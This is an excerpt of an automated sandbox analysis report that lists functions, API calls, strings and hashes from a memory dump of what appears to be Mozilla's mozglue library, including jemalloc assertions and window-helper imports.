MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB737D2
Compile-time page size does not divide the runtime one., xrefs: 6CB73946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB73559, 6CB7382D, 6CB73848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB737A8

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 3e176057a23d33c22b22539eb1ac32767ef3ca234288ed71887d658d08876a79
Instruction ID: 04691a38c34d371e7916a51a9d42c998b5aeec60bd200dc895c389c685dcf122
Opcode Fuzzy Hash: 3e176057a23d33c22b22539eb1ac32767ef3ca234288ed71887d658d08876a79
Instruction Fuzzy Hash: D4539D71A057818FC724CF29C590615BBE1FF89328F29C66DE8799B791D731E801CBA2

Function 6CB955F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CB6E1A5), ref: 6CB95606
LoadLibraryW.KERNEL32(gdi32,?,6CB6E1A5), ref: 6CB9560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB95633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB9563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB9566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB9567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB95696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB956B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB956CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB956E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB956FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB95716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB9572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB95748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB95761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB9577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB95793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB957A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB957BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB957D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB957EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB957FF

Strings

GetWindowDC, xrefs: 6CB95710
DeleteObject, xrefs: 6CB957F9
CreateSolidBrush, xrefs: 6CB957E4
LoadIconW, xrefs: 6CB9575B
SetWindowLongPtrW, xrefs: 6CB957B7
GetThreadDpiAwarenessContext, xrefs: 6CB9562D
RegisterClassW, xrefs: 6CB956AC
EnableNonClientDpiScaling, xrefs: 6CB95666
FillRect, xrefs: 6CB95729
AreDpiAwarenessContextsEqual, xrefs: 6CB95637
StretchDIBits, xrefs: 6CB957CC
CreateWindowExW, xrefs: 6CB956C5
SetWindowPos, xrefs: 6CB956F7
GetMonitorInfoW, xrefs: 6CB957A2
MonitorFromWindow, xrefs: 6CB9578D
gdi32, xrefs: 6CB9560A
GetDpiForWindow, xrefs: 6CB95690
LoadCursorW, xrefs: 6CB95774
GetSystemMetricsForDpi, xrefs: 6CB95677
ShowWindow, xrefs: 6CB956DE
ReleaseDC, xrefs: 6CB95742
user32, xrefs: 6CB95601

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 1935b1c696faca72006475bfbf5368048ac19d91d5b2975527e86e0e35e831ad
Instruction ID: 7c912caca707252b29db4a73cfa499692df27865c9857dcf7c24ecec6c7de60d
Opcode Fuzzy Hash: 1935b1c696faca72006475bfbf5368048ac19d91d5b2975527e86e0e35e831ad
Instruction Fuzzy Hash: CE51517C6413826BDB019F75CE8496A3BB8EB072567108939B952E3A52EF70CC04CF79

Function 6CB934A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB935BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB935E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB936CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB938BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB939EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93EE2

Part of subcall function 6CB96180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB961DD
Part of subcall function 6CB96180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB9622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB940F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB94157

Part of subcall function 6CB96180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB96250
Part of subcall function 6CB96180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB96292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB94448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB9484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB94863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB94878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB94896
free.MOZGLUE ref: 6CB9489F

Strings

, xrefs: 6CB94CD2

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 55a69338c929bd74de5e83899f117c01e5207139a4c798e205b24f0f9fd74bde
Instruction ID: aeba2b6039e05635988f7dad606310f0370b57560926ba774b1dda75b8b61f97
Opcode Fuzzy Hash: 55a69338c929bd74de5e83899f117c01e5207139a4c798e205b24f0f9fd74bde
Instruction Fuzzy Hash: B3F24B74908B848FC725CF28C18469AFBF1FF8A348F118A5ED9D997711DB719886CB42

Function 6CB464C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CB464DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CB464F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CB46505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CB46518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB4652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4671C
GetCurrentProcess.KERNEL32 ref: 6CB46724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB4672F
GetCurrentProcess.KERNEL32 ref: 6CB46759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB46764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CB46A80
GetSystemInfo.KERNEL32(?), ref: 6CB46ABE
__Init_thread_footer.LIBCMT ref: 6CB46AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB46AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB46AF7

Strings

user32.dll, xrefs: 6CB46526
detoured.dll, xrefs: 6CB464DA
_etoured.dll, xrefs: 6CB464ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CB46798
nvd3d9wrap.dll, xrefs: 6CB46500
nvdxgiwrap.dll, xrefs: 6CB46513

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3a9d0bb4ab653fa02fca08b6389871ff5ff8820ebf727dd23914ef071862a533
Instruction ID: 95e3c1d13ac871e8cd5b69561bcb202ceed328c1b4f42979c7279c9fb564b141
Opcode Fuzzy Hash: 3a9d0bb4ab653fa02fca08b6389871ff5ff8820ebf727dd23914ef071862a533
Instruction Fuzzy Hash: 51F1F7709096999FDB20CF64CC887DAB7B4EF05318F1481D9E809E3645EB31AE84CF91

Function 6CB660A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB660C9
LeaveCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB6610D
EnterCriticalSection.KERNEL32(?), ref: 6CB6618C
LeaveCriticalSection.KERNEL32(?), ref: 6CB661F9

Strings

<jemalloc>, xrefs: 6CB66AA9, 6CB66B59
MALLOC_OPTIONS, xrefs: 6CB66888
MOZ_CRASH(), xrefs: 6CB66AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB66BC7, 6CB66F97, 6CB66FB2
Compile-time page size does not divide the runtime one., xrefs: 6CB66AAE
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB66B6A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 80104698501e15f9f65f47d9fcddace4bc76a7f724f98a6c0af203e36377f73f
Instruction ID: 98b91e307b910ddb0d9b8232bc9139ed73c3b946591eebd0989290086b2c6297
Opcode Fuzzy Hash: 80104698501e15f9f65f47d9fcddace4bc76a7f724f98a6c0af203e36377f73f
Instruction Fuzzy Hash: FCA2BF71A056918FD704CF2AC450719BBE1FF85328F29C66DE869DBBA1DB71E840CB81

Function 6CB9C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB9C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB9C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB9C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB9CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB9DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB9DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB9DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB9E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB9E472

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: be39bede384c3397d197efd845d296b34ba746212dd30f2e4830c0553a14f5a3
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: E133AF71E0429ACFCB04CFA8C8806ADBBF2FF4A310F294279D955AB755D731A945CB90

Function 6CB4FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE7B8), ref: 6CB4FF81
LeaveCriticalSection.KERNEL32(6CBBE7B8), ref: 6CB5022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB50240
EnterCriticalSection.KERNEL32(6CBBE768), ref: 6CB5025B
LeaveCriticalSection.KERNEL32(6CBBE768), ref: 6CB5027B

Strings

<jemalloc>, xrefs: 6CB50D62, 6CB50D76, 6CB50DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB4FE99, 6CB4FEB7, 6CB4FED3, 6CB50DB8, 6CB50DD3, 6CB519B4
: (malloc) Error in VirtualFree(), xrefs: 6CB50D67, 6CB50D7B, 6CB50DAC

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 83858688cfa5043c83a6e8bb540e442e52747463444cecb01bf1e3a16891dbd7
Instruction ID: 306f87ed54e369bdf9e3f5435d9a8ff564dea8e2ff3f87ca11b35d523c5d97d1
Opcode Fuzzy Hash: 83858688cfa5043c83a6e8bb540e442e52747463444cecb01bf1e3a16891dbd7
Instruction Fuzzy Hash: BCC2BF71A057818FD714CF29C48071ABBE1FF85328F68C66DE8A98B795D771E811CB82

Function 6CB9E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB9E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB9EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB9F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CBA0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CBA0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CBA0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CBA0ED4

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 316bdeaa4c1c38323a6e1df93778314bac091ce97f87329834de9291fbfc691a
Instruction ID: 835e5530b865414ca6c3d40ba72bcfa9be59ffcaf5e9564540f420d33c8b0dfd
Opcode Fuzzy Hash: 316bdeaa4c1c38323a6e1df93778314bac091ce97f87329834de9291fbfc691a
Instruction Fuzzy Hash: CA639071E0429ACFCB14CFA8C8906DDFBB2FF89310F298269D455AB755D730A946CB90

Function 6CB73E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB97770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB73E7D,?,?,?,6CB73E7D,?,?), ref: 6CB9777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB73F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB73F5C
VerSetConditionMask.NTDLL ref: 6CB73F8D
VerSetConditionMask.NTDLL ref: 6CB73F99
VerSetConditionMask.NTDLL ref: 6CB73FA0
VerSetConditionMask.NTDLL ref: 6CB73FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB73FB4

Strings

nvd3d9wrap.dll, xrefs: 6CB74466
nvinit.dll, xrefs: 6CB74479

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 078ff2f2fac11ecd8f1363d19ba2c4c7791a1dacb3c11dce8e73c6af26c9702d
Instruction ID: 0211cb91328e41147652d11a47e2ae2c73091a7063e1b8a4e1d1246bd5632ef7
Opcode Fuzzy Hash: 078ff2f2fac11ecd8f1363d19ba2c4c7791a1dacb3c11dce8e73c6af26c9702d
Instruction Fuzzy Hash: 8152D171614B888FDB15DF74C880AAF77AAEF45304F44492DE9A68B742DB34F909CB60

Function 6CB5ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CB5EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB5EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB61695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB616B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CB61770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB61A3E

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: c7d4b8aa51d888ca1bd63272395c317169b4df9df227bb37b8a347945790c68a
Instruction ID: 979cc11576a34d0dc6d8cfd1a6f2cdc1acf12b5245e245fbac54d91fe943fada
Opcode Fuzzy Hash: c7d4b8aa51d888ca1bd63272395c317169b4df9df227bb37b8a347945790c68a
Instruction Fuzzy Hash: DDB33971E002698FDB14CFA9C890A9DF7B2FF49304F5981A9D449ABB45D730AD86CF90

Function 6CB4FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE7B8), ref: 6CB4FF81
LeaveCriticalSection.KERNEL32(6CBBE7B8), ref: 6CB5022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB50240
EnterCriticalSection.KERNEL32(6CBBE768), ref: 6CB5025B
LeaveCriticalSection.KERNEL32(6CBBE768), ref: 6CB5027B

Strings

MOZ_CRASH(), xrefs: 6CB50CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB4FE99, 6CB4FEB7, 6CB4FED3, 6CB50DB8, 6CB50DD3, 6CB519B4, 6CB51A10

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: bf75eef5dbe13ed303d83be4990a0b481debc7f4e70b1e0a31359b8a8fc699e5
Instruction ID: 8cc798e85f52f1dbd2131b59f20d031d1e62f5e317fb94338525758785e84eac
Opcode Fuzzy Hash: bf75eef5dbe13ed303d83be4990a0b481debc7f4e70b1e0a31359b8a8fc699e5
Instruction Fuzzy Hash: 4CB2BC71A057818FD714CF29C59071ABBE1FF89328F68C66CE86A8B795C770E851CB42

Function 6CB85600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6CB85CB6
name, xrefs: 6CB85E79, 6CB85E8F
data, xrefs: 6CB86131
expected a Count entry, xrefs: 6CB85AC3
schema, xrefs: 6CB8606D
ProfileBuffer parse error: %s, xrefs: 6CB85AC8, 6CB85CBB

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: e8aee6724e279db1e3e691dcd4d5809d16d94b5961ed7a6de27106b16318d10a
Instruction ID: 949baafc167436c8db7782cdcd8770c17b62859223655dd9393859b44f216d12
Opcode Fuzzy Hash: e8aee6724e279db1e3e691dcd4d5809d16d94b5961ed7a6de27106b16318d10a
Instruction Fuzzy Hash: C3920775A093818BD724CF28C49079EB7E1FFC9308F54891DE99A9B751DB30E849CB92

Function 6CB82E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB82ED3
